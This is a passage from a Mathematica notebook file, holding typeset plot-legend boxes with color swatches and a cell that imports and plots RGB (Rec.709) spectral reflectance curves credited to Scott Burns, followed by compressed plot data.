RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[1, 0, 0],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0.6666666666666666, 0., 0.],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"1", ",", "0", ",", "0"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[1, 0, 0];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[1, 0, 0], Editable -> False, Selectable ->
False]}], "]"}], ",",
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[0, 1, 0],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0., 0.6666666666666666, 0.],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"0", ",", "1", ",", "0"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[0, 1, 0];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[0, 1, 0], Editable -> False, Selectable ->
False]}], "]"}], ",",
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[0, 0, 1],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0., 0., 0.6666666666666666],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"0", ",", "0", ",", "1"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[0, 0, 1];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[0, 0, 1], Editable -> False, Selectable ->
False]}], "]"}], ",",
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
GrayLevel[0.5],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> GrayLevel[0.33333333333333337`], FrameTicks ->
None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"GrayLevel", "[", "0.5`", "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
GrayLevel[0.5];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["GrayLevelColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
GrayLevel[0.5], Editable -> False, Selectable -> False]}],
"]"}]}], "}"}], ",",
RowBox[{"{",
RowBox[{#, ",", #2, ",", #3, ",", #4}], "}"}], ",",
RowBox[{"LegendMarkers", "\[Rule]",
RowBox[{"{",
RowBox[{
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}], ",",
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}], ",",
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}], ",",
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}]}], "}"}]}], ",",
RowBox[{"Joined", "\[Rule]",
RowBox[{"{",
RowBox[{"True", ",", "True", ",", "True", ",", "True"}],
"}"}]}], ",",
RowBox[{"LabelStyle", "\[Rule]",
RowBox[{"{", "}"}]}], ",",
RowBox[{"LegendLayout", "\[Rule]", "\"Column\""}]}], "]"}]& ),
Editable -> True], TraditionalForm], TraditionalForm]},
"Legended",
DisplayFunction->(GridBox[{{
TagBox[
ItemBox[
PaneBox[
TagBox[#, "SkipImageSizeLevel"], Alignment -> {Center, Baseline},
BaselinePosition -> Baseline], DefaultBaseStyle -> "Labeled"],
"SkipImageSizeLevel"],
ItemBox[#2, DefaultBaseStyle -> "LabeledLabel"]}},
GridBoxAlignment -> {"Columns" -> {{Center}}, "Rows" -> {{Center}}},
AutoDelete -> False, GridBoxItemSize -> Automatic,
BaselinePosition -> {1, 1}]& ),
Editable->True,
InterpretationFunction->(RowBox[{"Legended", "[",
RowBox[{#, ",",
RowBox[{"Placed", "[",
RowBox[{#2, ",", "After"}], "]"}]}], "]"}]& )]], "Output",
CellChangeTimes->{
3.8394431986167793`*^9, {3.839443443280801*^9, 3.839443448585594*^9}, {
3.839443748879846*^9, 3.839443767118346*^9}, 3.839443874562682*^9,
3.839444609745236*^9, 3.839446226830544*^9, 3.839446610640686*^9, {
3.839446671872862*^9, 3.839446691178568*^9}, 3.839447126401958*^9,
3.839447464615501*^9, 3.839451228985178*^9, 3.839451624990617*^9,
3.839452095080245*^9, 3.8394522956424313`*^9, 3.839453480182674*^9, {
3.839497975446752*^9, 3.839497988660158*^9}},
CellLabel->"Out[26]=",ExpressionUUID->"e5b17ad2-61b0-4175-ac0d-3aa25e5f8022"]
}, Open ]]
}, Open ]],
Cell[CellGroupData[{
Cell[TextData[{
StyleBox["RGB (Rec.709) spectral reflectance\n", "Section"],
StyleBox["Data provided by Scott Burns \
(http://scottburns.us/fast-rgb-to-spectrum-conversion-for-reflectances/).",
"Text"]
}], "Subtitle",
CellChangeTimes->{{3.6472069892556753`*^9, 3.647206992644547*^9}, {
3.64720706386841*^9, 3.64720723066249*^9}, {3.647207262730607*^9,
3.647207325235694*^9}, {3.661121273814883*^9, 3.6611212811271257`*^9}, {
3.6611836316553793`*^9, 3.661183634470564*^9}, {3.6815771809416018`*^9,
3.681577182173439*^9}, {3.839450617122533*^9, 3.839450633617247*^9}, {
3.8394508014046373`*^9,
3.839450847745494*^9}},ExpressionUUID->"c65e7cba-0278-462a-aebc-\
b84ca6044482"],
Cell[CellGroupData[{
Cell[BoxData[{
RowBox[{
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "cr", ",", "cb", ",", "cg"}], "}"}], "=",
RowBox[{
RowBox[{"Import", "[", "\"\<data/rec709.csv\>\"", "]"}],
"\[Transpose]"}]}], ";"}], "\[IndentingNewLine]",
RowBox[{"ListLinePlot", "[",
RowBox[{
RowBox[{"{",
RowBox[{
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "cr"}], "}"}], "\[Transpose]"}], ",",
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "cb"}], "}"}], "\[Transpose]"}], ",",
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "cg"}], "}"}], "\[Transpose]"}]}], "}"}],
",",
RowBox[{"PlotLegends", "\[Rule]",
RowBox[{"{",
RowBox[{"\"\<R\>\"", ",", "\"\<G\>\"", ",", "\"\<B\>\""}], "}"}]}], ",",
RowBox[{"Filling", "\[Rule]", "Axis"}], ",",
RowBox[{"PlotStyle", "\[Rule]",
RowBox[{"{",
RowBox[{"Red", ",", "Green", ",", "Blue"}], "}"}]}]}], "]"}]}], "Input",
CellChangeTimes->{{3.839443174827423*^9, 3.839443196909202*^9}, {
3.839443297145803*^9, 3.839443322674219*^9}, {3.839443724984212*^9,
3.8394437383649483`*^9}, {3.8394452976096163`*^9, 3.839445302670227*^9}, {
3.83944659918049*^9, 3.839446604493163*^9}, 3.8394504183664837`*^9},
CellLabel->"In[27]:=",ExpressionUUID->"92a6ef21-04bc-49b0-96cc-a124dad68b95"],
Cell[BoxData[
TemplateBox[{GraphicsBox[{{},
GraphicsComplexBox[CompressedData["
1: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
